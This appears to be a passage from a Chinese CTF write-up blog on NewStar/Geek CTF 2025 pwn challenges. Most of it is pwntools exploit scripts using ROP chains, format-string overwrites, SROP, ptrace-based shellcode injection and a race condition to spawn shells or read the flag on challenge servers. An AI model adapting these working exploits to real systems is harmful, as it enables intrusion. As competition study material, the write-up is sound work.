uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

sla(b'choice>> ', b'3')
ru(b'detected: ')
pie = int(p.recvline(keepends=False).decode(), 16) - elf.sym['shadow']
leak('pie')

task_list = pie + elf.sym['task_list']

sla(b'choice>> ', b'1')
sla(b'choice>> ', b'1') # commit_feedback
sa(b'):\n', b'/bin/sh\x00\n')

sla(b'choice>> ', b'1')
sla(b'choice>> ', b'2') # show_time -> smash
sa(b'):\n', b'A'*16 + p8(0x4B))

sla(b'choice>> ', b'1')
sla(b'choice>> ', b'2') # show_time -> leave; ret
sa(b'):\n', b'A'*16 + p8(0x73))

sla(b'choice>> ', b'1')
sla(b'choice>> ', b'3') # dance
sa(b'):\n', b'\n')

sla(b'choice>> ', b'1')
sla(b'choice>> ', b'2') # show_time
sa(b'):\n', p64(task_list) + p64(pie + elf.sym['dance'] + 20) + p8(0))

sla(b'choice>> ', b'1')
sla(b'choice>> ', b'2') # show_time
sa(b'):\n', p64(pie + elf.sym['unreachable'] + 4) + b'sh\n')

sla(b'choice>> ', b'1')
sla(b'choice>> ', b'2') # show_time
sa(b'):\n', p64(task_list + 0x60) + p64(pie + elf.sym['execute_task'] + 137) + b'\n')


sla(b'choice>> ', b'2')

# debug()
sa(b'feedback:\n', b'A'*0x10 + p64(task_list + 0x90))

sa(b'about.\n', p64(task_list) + p64(pie + elf.sym['unreachable'] + 4))

s(b'A'*0x10 + p64(task_list))


itr()

last_rop

按%d读入，又按%x放入，于是rop链中的地址只能包含0~9

这里找到了mov rax, r12，而r12指向的内容可以控制

注意：不能继续往下输入(r13)使得环境变量被覆盖，否则system("sh")无法正常运行

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
# libc = ELF('./libc.so.6')

choice = 0
if choice:
    port =   31347
    target = 'geek.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

# debug('b *0x401A26\nc\n')
# debug('b *0x401914\nc\n')

sla(b'rop! ', b'1')
sla(b'rop! ', b'2')
sla(b'rop! ', b'3')
sla(b'rop! ', str(400000001).encode()) # i
sla(b'rop! ', str(416087).encode()) # 0x416087 : mov rax, r12 ; pop r12 ; pop r13 ; pop rbp ; ret
sla(b'rop! ', b'1')
sla(b'rop! ', b'2')
sla(b'rop! ', b'3')
# sla(b'rop! ', str(401965).encode())
sla(b'rop! ', str(401914).encode()) # blah : mov rdi, rax ; call system

for i in range(30): # r12
    sla(b'rop! ', str(6873).encode()) # sh
    # sla(b'rop! ', str(3024).encode()) # $0 也可以

# debug('b *0x4019c0\nc\n')
sla(b'rop! ', b'0')

itr()

Mission Sink

alloca会在栈上分配空间，但不会清空，以此泄露libc_base和Canary

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 1
if choice:
    port =   32363
    target = 'geek.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

debug('b struggle\nc\n')

for i in range(6):
    sla(b'Your choice: \n', b'4')
    sla(b'going?\n', str(0x101).encode())

sla(b'Your choice: \n', b'4')
sla(b'going?\n', str(0x40-23).encode())
ru(b'I need you.\n')
libc_base = uu64(r(8)) - (libc.sym['puts'] + 506)
leak('libc_base')

sla(b'Your choice: \n', b'4')
sla(b'going?\n', str(0x130-23).encode())
ru(b'I need you.\n')
canary = uu64(r(8))
leak('canary')

sla(b'Your choice: \n', b'1')
payload = b'A'*(0x20-8) + p64(canary) + p64(0) + p64(libc_os(0xe5ff0))
sa(b'love me?\n', payload)


itr()

Mission Anabiosis

用链表结构保存数据

用off by null进入管理员模式

泄露链表指针得知pie，然后ret2libc

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 1
if choice:
    port =   30411
    target = 'geek.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

sa(b'Your choice:\n', b'1')
ru(b'uid is:')
uid = int(p.recvline(keepends=False).decode())
sa(b'name: ', b'mxym')
sa(b'data: ', b'A')

sa(b'Your choice:\n', b'3')
sa(b'uid to edit: ', str(uid).encode())
sa(b'name: ', b'A'*16)
sa(b'data: ', b'A')

sa(b'Your choice:\n', b'1')
sa(b'name: ', b'ItsFlicker')
sa(b'data: ', b'/bin/sh\x00')

sa(b'Your choice:\n', b'0')
sla(b'uid: ', str(uid).encode())

sa(b'Your choice:\n', b'6')
sa(b'Your choice:\n', b'2')
sla(b'index to edit: ', b'1')
sa(b'data: ', b'A'*0x80)

sa(b'Your choice:\n', b'3')
sa(b'Your choice:\n', b'4')
sa(b'uid to show: ', str(uid).encode())

ru(b'A'*0x80)
pie = uu64(r(6)) - (elf.sym['node_pool'] + 168)
leak('pie')

sa(b'Your choice:\n', b'0')
sla(b'uid: ', str(uid).encode())

sa(b'Your choice:\n', b'6')
sa(b'Your choice:\n', b'4')
debug()
payload = b'A'*(0x10+8) + p64(pie + 0x001cf4) + p64(pie + elf.got['puts']) + p64(pie + elf.plt['puts']) + p64(pie + 0x001CD9)
sa(b'I love you.\n', payload)

libc_base = uu64(r(6)) - (libc.sym['puts'])
leak('libc_base')

payload = b'A'*(0x10+8) + p64(pie + 0x001cf4) + p64(pie + elf.sym['node_pool'] + 376) + p64(libc_os(libc.sym['system']))
sa(b'I love you.\n', payload)

itr()

Mission Memory Cloister

改got_exit，然后把got_rand改为one_gadget，返回地址改为sharp

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 1
if choice:
    port =   30253
    target = 'geek.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

# debug('b *0x401321\nc\n')

sa(b'Exit.\n', b'2')
sla(b'voice.\n', b'A'*0x100 + b'%87c%8$hhn%187c%9$hhn%33$p\x00')

sa(b'Exit.\n', b'1')
sa(b'for?\n', p64(0x404040) + p64(0x404041))

ru(b'\x00')
libc_base = int(r(14).decode(), 16) - (libc.sym['__libc_start_main'] + 137)
leak('libc_base')

one_gadget = libc_os(0xe5ff0) # r9, r10 = 0

for i in range(6):
    sa(b'Exit.\n', b'2')
    sla(b'voice.\n', b'A'*0x100 + f'%{one_gadget % 256}c%8$hhn%12$p\x00'.encode())

    sa(b'Exit.\n', b'1')
    sa(b'for?\n', p64(0x404048 + i))

    one_gadget //= 256

ru(b'0x')
stack = int(r(12).decode(), 16)
leak('stack')

sa(b'Exit.\n', b'2')
sla(b'voice.\n', b'A'*0x100 + b'%182c%8$hhn%91c%9$hhn\x00')

sa(b'Exit.\n', b'1')
sa(b'for?\n', p64(stack - 0x78) + p64(stack - 0x78 + 1))

sa(b'Exit.\n', b'3')

itr()

ptrce

用ptrace把子进程的got_seccomp全部改为空函数

再把sleep的返回地址改为父进程的功能地址，实现任意shellcode执行

这里attach后要等待子进程收到信号并暂停，用ai写了个暂停1秒

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)

choice = 2
if choice == 2:
    port =   32704
    target = 'geek.ctfplus.cn'
    p = remote(target, port)
elif choice == 1:
    p = process(file)
else:
    p = gdb.debug(file, '''
        set follow-fork-mode parent
        b *0x401849
        b *0x401AC2
        c
    ''')

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
leak2    = lambda name               :log.success('{} = {}'.format(name, eval(name)))

sla(b'4) Exit\n', b'2')
ru(b'PID = ')
pid = int(p.recvline(keepends=False))
leak2('pid')

shellcode = f'''

mov rax, 101
mov rdi, 16
mov rsi, {pid}
mov rdx, 0
mov r10, 0
syscall

call sleep_1_second

mov rax, 101
mov rdi, 5
mov rsi, {pid}
lea rdx, [rbp-0x78]
mov r10, 0x4018E1
syscall

mov rax, 101
mov rdi, 5
mov rsi, {pid}
mov rdx, 0x404020
mov r10, 0x401B88
syscall

mov rax, 101
mov rdi, 5
mov rsi, {pid}
mov rdx, 0x404030
mov r10, 0x401B88
syscall

mov rax, 101
mov rdi, 5
mov rsi, {pid}
mov rdx, 0x404040
mov r10, 0x401B88
syscall

mov rax, 101
mov rdi, 5
mov rsi, {pid}
mov rdx, 0x404068
mov r10, 0x401B88
syscall

mov rax, 101
mov rdi, 7
mov rsi, {pid}
mov rdx, 0
mov r10, 0
syscall

mov rax, 101
mov rdi, 17
mov rsi, {pid}
mov rdx, 0
mov r10, 0
syscall

sleep_1_second:
    push rbp
    mov rbp, rsp
    sub rsp, 32         
    
    mov rax, 96         
    lea rdi, [rsp+16]   
    mov rsi, 0          
    syscall
    
    mov r8, [rsp+16]    
    mov r9, [rsp+24]    
    
sleep_loop:
    mov rax, 96         
    lea rdi, [rsp]      
    mov rsi, 0
    syscall
    
    mov r10, [rsp]      
    mov r11, [rsp+8]    
    
    sub r10, r8         
    imul r10, r10, 1000000  
    sub r11, r9         
    add r10, r11        
    

    cmp r10, 1000000
    jl sleep_loop       
    
    add rsp, 32
    pop rbp
    ret


''' # 不能出现\x0a

asm1 = asm(shellcode)

assert b'\x0a' not in asm1

sla(b'4) Exit\n', b'1')
sla(b'to be?\n', str(len(asm1) + 1).encode())
sla(b'the memory?\n', b'7')
sla(b'to include?\n', asm1)

ru(b'at ')
addr = int(p.recvline(keepends=False), 16)
leak('addr')


sla(b'4) Exit\n', b'3')
sla(b'to execute code?\n', hex(addr)[2:].encode())

asm2 = asm(shellcraft.sh())

sla(b'4) Exit\n', b'1')
sla(b'to be?\n', str(len(asm2) + 1).encode())
sla(b'the memory?\n', b'7')
sla(b'to include?\n', asm2)

ru(b'at ')
addr = int(p.recvline(keepends=False), 16)
leak('addr')


sla(b'4) Exit\n', b'3')
sla(b'to execute code?\n', hex(addr)[2:].encode())


itr()

Mission Last Spell

栈迁移

需要在栈上找一个地址，使其覆盖最低位后变为syscall地址，且执行下去能返回

这里只需[rbp+0x340]位置内容为0

srop的部分，改地址时要提前在下方写好rbp和返回地址，frame需要分两次读入

然后orw

（为什么栈的相对偏移会变？我没搞懂）

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 1

def solve():
    if choice:
        port =   30468
        target = 'geek.ctfplus.cn'
        p = remote(target, port)
    else:
        p = process(file, aslr=False)

    def debug(cmd=''):
        if choice==1:
            return
        gdb.attach(p, gdbscript=cmd)


    s       = lambda data               :p.send(data)
    sl      = lambda data               :p.sendline(data)
    sa      = lambda x,data             :p.sendafter(x, data)
    sla     = lambda x,data             :p.sendlineafter(x, data)
    r       = lambda num=4096           :p.recv(num)
    rl      = lambda num=4096           :p.recvline(num)
    ru      = lambda x                  :p.recvuntil(x)
    itr     = lambda                    :p.interactive()
    uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
    uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
    uru64   = lambda                    :uu64(ru('\x7f')[-6:])
    leak    = lambda name               :log.success('{}'.format(name))
    libc_os   = lambda x                :libc_base + x

    ru(b'received : ')
    l = rl().decode().split('; ')
    stack = int(l[0], 16)
    pie = int(l[1], 16) - 0x004050
    leak('pie')
    ru(b'enabled\n')

    rbp1 = stack + 0x8
    # rbp3 = rbp1 - 0x478
    rbp3 = rbp1 - 0xf68
    rbp2 = rbp3 + 0x88

    leak('rbp1')
    leak('rbp2')
    leak('rbp3')
    log.success(hex(rbp3))

    # debug()
    payload = b'A'*0x80
    payload += p64(rbp2)
    payload += p64(pie + 0x001584)
    s(payload)

    payload = b'A'*0x70
    payload += p64(rbp1)
    payload += p64(pie + 0x001584)
    payload += p64(rbp2 - 0x10)
    payload += p64(pie + 0x001584)
    s(payload)

    # s(p64(0) + p8(0x7f))
    s(p64(0) + p8(0x32))

    sleep(2)

    # --------------------------

    payload = b'A'*0x80
    payload += p64(rbp2)
    payload += p64(pie + 0x001584)
    s(payload)

    frame = SigreturnFrame()
    frame.rax = 2
    frame.rdi = rbp1 - 0x18
    frame.rsi = 0
    frame.rdx = 0
    frame.r12 = rbp1
    frame.rbp = rbp3 - 8 - 0x340
    frame.rsp = rbp3
    frame.rip = pie + 0x00159C # ret

    s(p64(0)*4 + p64(rbp1) + p64(0)*2 + p64(pie + 0x001584) + bytes(frame)[0x40:0x80] + p64(rbp1) + p64(pie + 0x001584))

    # debug('b *0x15555552d032')
    payload = b'A'*0x68
    payload += b'/flag\x00\x00\x00'
    payload += p64(rbp3 - 0x8)
    payload += p64(pie + 0x00159B)
    payload += p64(rbp2 + 0x80)
    payload += p64(pie + 0x001584)
    s(payload)

    s(bytes(frame)[0x80:].ljust(0x80, b'\x00') + p64(rbp1 - 0x10) + p64(pie + 0x001584))

    s(b'A'*15)
    log.success('open')
    sleep(5)

    # --------------------------

    payload = b'A'*0x80
    payload += p64(rbp2)
    payload += p64(pie + 0x001584)
    s(payload)

    frame = SigreturnFrame()
    frame.rax = 0
    frame.rdi = 1
    frame.rsi = rbp1 + 0x20
    frame.rdx = 0x40
    frame.r12 = rbp1
    frame.rbp = rbp3 - 8 - 0x340
    frame.rsp = rbp3
    frame.rip = pie + 0x00159C # ret

    s(p64(0)*4 + p64(rbp1) + p64(0)*2 + p64(pie + 0x001584) + bytes(frame)[0x40:0x80] + p64(rbp1) + p64(pie + 0x001584))

    # debug('b *0x15555552d032')
    payload = b'A'*0x70
    payload += p64(rbp3 - 0x8)
    payload += p64(pie + 0x00159B)
    payload += p64(rbp2 + 0x80)
    payload += p64(pie + 0x001584)
    s(payload)

    s(bytes(frame)[0x80:].ljust(0x80, b'\x00') + p64(rbp1 - 0x10) + p64(pie + 0x001584))

    s(b'A'*15)
    log.success('read')
    sleep(5)

    # --------------------------

    payload = b'A'*0x80
    payload += p64(rbp2)
    payload += p64(pie + 0x001584)
    s(payload)

    frame = SigreturnFrame()
    frame.rax = 1
    frame.rdi = 2
    frame.rsi = rbp1 + 0x20
    frame.rdx = 0x40
    frame.r12 = rbp1
    frame.rbp = rbp3 - 8 - 0x340
    frame.rsp = rbp3
    frame.rip = pie + 0x00159C # ret

    s(p64(0)*4 + p64(rbp1) + p64(0)*2 + p64(pie + 0x001584) + bytes(frame)[0x40:0x80] + p64(rbp1) + p64(pie + 0x001584))

    # debug('b *0x15555552d032')
    payload = b'A'*0x70
    payload += p64(rbp3 - 0x8)
    payload += p64(pie + 0x00159B)
    payload += p64(rbp2 + 0x80)
    payload += p64(pie + 0x001584)
    s(payload)

    s(bytes(frame)[0x80:].ljust(0x80, b'\x00') + p64(rbp1 - 0x10) + p64(pie + 0x001584))

    s(b'A'*15)
    log.success('write')

    itr()

for i in range(20):
    try:
        solve()
    except:
        pass

Mission Final Dance

本地关闭aslr，方便调试

首先对0x4006e0断点，看它是怎么被定位的

如图所示，从elf中读入了fini_array起始位置，并从0x155555427168读入了一个偏移

而这个地址刚好残留在栈上，用printf修改偏移，并在buf写入vuln地址

进入vuln，然后ret2csu

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
libc = ELF('./libc.so.6')

choice = 0
if choice:
    port =   31635
    target = 'geek.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file, aslr=False)

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

ru(b'dance!\n')

# debug()
debug('b *0x155555210df9\nc\n')

payload = f'%{0x601060+0x98-0x600DD8}c%24$hn%7$p'.encode()
s(payload.ljust(0x88, b'\x00') + p64(0x400854) + b'/bin/sh\x00' + p64(0x400726))

ru(b'0x')
libc_base = int(r(12).decode(), 16) - (libc.sym['__libc_start_main'] + 240)
leak('libc_base')

payload = b'A'*(0x20+8)
payload += p64(0x40083A)
payload += p64(0)
payload += p64(1)
payload += p64(0x601060+0x88)
payload += p64(0)
payload += p64(0)
payload += p64(0x601060+0x90)
payload += p64(0x400820)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(libc_os(libc.sym['execve']))

s(payload)


itr()

Your name

条件竞争，thread_arg是全局变量

如果在一个线程确定要进入op_write_file后，把thread_arg.op.index改为0，就可以对./log修改

再执行./log

from pwn import *

context.log_level = 'debug'

# p = process('./yourName')
p = remote("geek.ctfplus.cn", 30185)

payload = b'['

for i in range(10):
    payload += b'{"index":1, "buf":"'
    payload += b'#!/bin/sh\n/bin/sh' + b'\n'*5
    payload += b'"},'

for i in range(1):
    payload += b'{"index":0, "buf":"'
    payload += b'#!/bin/sh\n/bin/sh' + b'\n'*5
    payload += b'"},'

payload = payload.removesuffix(b',')
payload += b']'

p.recvuntil(b'>>')

p.send(payload)

p.interactive()

PWN_GAME

文件名存在溢出，可以改出生点到边界外

把右下角O推到1处，再用@把它推到2处

这样，S就同时具有了is_push和is_you属性

接着，把两个S搞到3和4的位置，I就同时具有了is_push和is_you属性

用一个I把X填了，两个I走到右上角位置

由于step_game从上到下，从左到右执行

第一个I把第二个I推到第二行第一列

然后第二个I自己走一步，成功到6，win!

from pwn import *

context(arch='amd64', os='linux')
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
file = './pwn'
elf = ELF(file)
# libc = ELF('./libc.so.6')

choice = 0
if choice:
    port =   31566
    target = 'geek.ctfplus.cn'
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=''):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x


payload = b'hard.y'.ljust(62, b'\x00') + b'\n'
s(payload)

# sassssssaaaaasdddddwds
# sassssssaaaaasdddddwdsssdddsdsssssaasasssssdddddaaadssdswwdd

itr()

Newstar CTF 2025 Pwn WriteUp

Sun, 30 Nov 2025 00:00:00 GMT

参加的第一个CTF比赛，仅保留 Pwn 部分

最后靠着 Pwn 到了校内第二名

缺两道题 (content和llama-pwn)

Week 1

GNU Debugger

操作内容：

使用r <server_ip> <server_port>运行

关卡 1: 找到r12的值，输入c继续

关卡 2: tel 0x402457得到GDB_IS_POWERFUL

关卡 3: b *0x400fa9，接着c即可

关卡 4: set {int}0x7fffffffdf04 = 0xdeadbeef 修改值

INTbug

操作内容：

IDA反编译，进入func()，发现任意输入一个正数，16位int的v1存在溢出漏洞，发送32768次后变为负数

from pwn import *

# p = process('./INTbug')
p = remote('xxx', xxx)

payload = b'1'

p.recvuntil(b'welcome to NewStarCTF2025!\n\n')

for i in range(32768):
    p.sendline(payload)

p.interactive()

pwn's door

操作内容：

IDA反编译，发现输入7038329即可获得sh，然后cat flag

overflow

操作内容：

checksec，发现没有保护

IDA反编译，发现使用gets读入，存在栈溢出

发现后门函数backd00r，地址0x401200

直接ret2text（需要使用ret平衡）

from pwn import *

# p = process('./overflow')
p = remote("xxx", xxx)

payload = b'A' * (0x100 + 8) + p64(0x401016) + p64(0x401200)

p.sendlineafter(b'Enter your input:\n', payload)

p.interactive()

input_function

操作内容：

checksec，开启了NX和PIE

IDA反编译，发现程序直接运行输入的东西

使用shellcraft.sh()生成64位的execve("/bin/sh", 0, 0)函数对应的asm

from pwn import *

context(arch='amd64', os='linux')

# p = process('./input_function')
p = remote("xxx", xxx)

payload = asm(shellcraft.sh())

p.recvuntil(b')\n')
p.send(payload)

p.interactive()

Week 2

刻在栈里的秘密

操作内容：

RSI到密码距离为24

使用%24$p %24$s得到地址和密码

input_small_function

操作内容：

程序读取0x14 (20) 的内容并直接执行

尝试调用read(0, 某个地址, 0x500)并跳转过去

利用xor设0，比mov小

然后直接生成sh字节码

from pwn import *

context(arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]

# p = process('./input_small_function')
p = remote("xxx", xxx)

payload = """
    xor eax, eax
    xor edi, edi
    lea rsi, [rip + 0x50]
    mov edx, 0x500
    syscall
    jmp rsi
"""
compiled = asm(payload)
print(len(compiled))
assert len(compiled) <= 20
p.recvuntil(b')\n')
# gdb.attach(p)
p.send(compiled.ljust(20, b'\x00'))

payload = shellcraft.sh()
compiled = asm(payload)
p.send(compiled)

p.interactive()

syscall

操作内容：

程序开启了Canary，但似乎没有用?

由于是32位程序，使用eax=0xb, ebx="/bin/sh", ecx=0, edx=0, int 0x80调用execve

没有现成的/bin/sh，尝试写入bss段

这里使用了0x080b431c : mov dword ptr [eax + 0x4c], edx ; ret辅助

from pwn import *

context(arch="i386", log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]

# p = process('./syscall')
p = remote("xxx", xxx)
elf = ELF('./syscall')

bss = elf.bss() + 0x100
int_0x80 = 0x08049c0a
eax = 0x080b438a
ebx = 0x08049022
ecx = 0x0804985a
edx = 0x0804985c
mov_in_eax_0x4c_edx = 0x080b431c

payload = b'\x00'*(0x12+4)
payload += p32(eax) + p32(bss)
payload += p32(edx) + b'/bin'
payload += p32(mov_in_eax_0x4c_edx)
payload += p32(eax) + p32(bss + 4)
payload += p32(edx) + b'/sh\x00'
payload += p32(mov_in_eax_0x4c_edx)
payload += p32(eax) + p32(0xb)
payload += p32(ebx) + p32(bss + 0x4c)
payload += p32(ecx) + p32(0)
payload += p32(edx) + p32(0)
payload += p32(int_0x80)

p.recvuntil(b'pwn it guys!\n')
# gdb.attach(p)
p.send(payload)


p.interactive()

no shell

操作内容：

流程：不输入Y/y，2，2. Get the power of your cat， 1. Check your power

沙箱阻止了execve，使用ORW得到flag

用mov rdi, rax传递open的fd号

from pwn import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]

# p = process("./noshell")
p = remote("xxx", xxx)
elf = ELF("./noshell")

bss_start = elf.bss() + 0x100

rdi = 0x4013f3
rsi = 0x4013f5
rdx = 0x4013f7
ret = 0x40101a

p.sendlineafter(b'something?\n', b'0')
p.sendlineafter(b'flag?\n', b'2')
p.sendlineafter(b'your choice: ', b'2')
p.sendlineafter(b'your choice: ', b'1')

payload = b'\x00'*(0x20+8) + p64(rdi) + p64(0) + p64(rsi) + p64(bss_start) + p64(rdx) + p64(7) + p64(elf.plt['read'])
payload += p64(rdi) + p64(bss_start) + p64(rsi) + p64(0) + p64(elf.plt['open'])
payload += p64(0x4013f9) + p64(rsi) + p64(bss_start + 0x100) + p64(rdx) + p64(0x30) + p64(elf.plt['read'])
payload += p64(rdi) + p64(1) + p64(rsi) + p64(bss_start + 0x100) + p64(rdx) + p64(0x30) + p64(elf.plt['write'])

p.sendafter(b'say something:\n', payload)

p.send(b'./flag\x00')

p.interactive()

calc_beta

操作内容：

进入edit_numbers后，栈结构长这样：

rsp
... （有Canary）
rbp
rip -> main
s[136]
...

而index没有检查<=0，所以修改位置0（&s[8 * (0-1)]）刚好就是rip，其他东西以数字形式放入s[]

使用libc2csu

from pwn import *

context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "splitw", "-h"]

# p = process('./calc')
p = remote("xxx", xxx)
elf = ELF('./calc')
libc = ELF('./libc.so.6')

bss = elf.bss() + 0x100
main = 0x4010B4
gadget1 = 0x40124A
gadget2 = 0x401230

def edit(index, value):
    if value == 0:
        return
    p.sendafter(b'> ', b'2')
    p.sendafter(b'> ', str(index).encode())
    p.sendafter(b'> ', str(value).encode())

# 泄露write -> libc地址
edit(1, 0)
edit(2, 1)
edit(3, elf.got['write'])
edit(4, 1)
edit(5, elf.got['write'])
edit(6, 6)
edit(7, gadget2)
edit(8, 0)
edit(9, 0)
edit(10, 0)
edit(11, 0)
edit(12, 0)
edit(13, 0)
edit(14, 0)
edit(15, main)
edit(0, gadget1)

write_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.success(hex(write_addr))
libc_addr = write_addr - libc.sym['write']
log.success(hex(libc_addr))
system_addr = libc_addr + libc.sym['system']

# 将'/bin/sh\x00'放入bss
edit(1, 0)
edit(2, 1)
edit(3, elf.got['read'])
edit(4, 0)
edit(5, bss)
edit(6, 8)
edit(7, gadget2)
edit(8, 0)
edit(9, 0)
edit(10, 0)
edit(11, 0)
edit(12, 0)
edit(13, 0)
edit(14, 0)
edit(15, main)
edit(0, gadget1)
p.send(b'/bin/sh\x00')

# 调用system
edit(1, bss)
edit(2, 0x4006b6) # ret
edit(3, system_addr)
# gdb.attach(p)
edit(0, 0x401253) # pop rdi ; ret

p.interactive()

Week 3

fmt and canary

操作内容：

输入AAAAAAAA %p %p %p %p %p %p %p %p，得知偏移为6

通过调试得Canary位于6+5=11，(__libc_start_main+128) 位于6+27=33

输入end后使用ret2libc

from pwn import *

context(arch='amd64', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

# p = process('./fmt_canary')
p = remote('xxx', xxx)
elf = ELF('./fmt_canary')
libc = ELF('./libc.so.6')

p.recvuntil(b'!\n')
p.send(b'%11$p'.ljust(8, b'\x00'))

recv = p.recv(18)
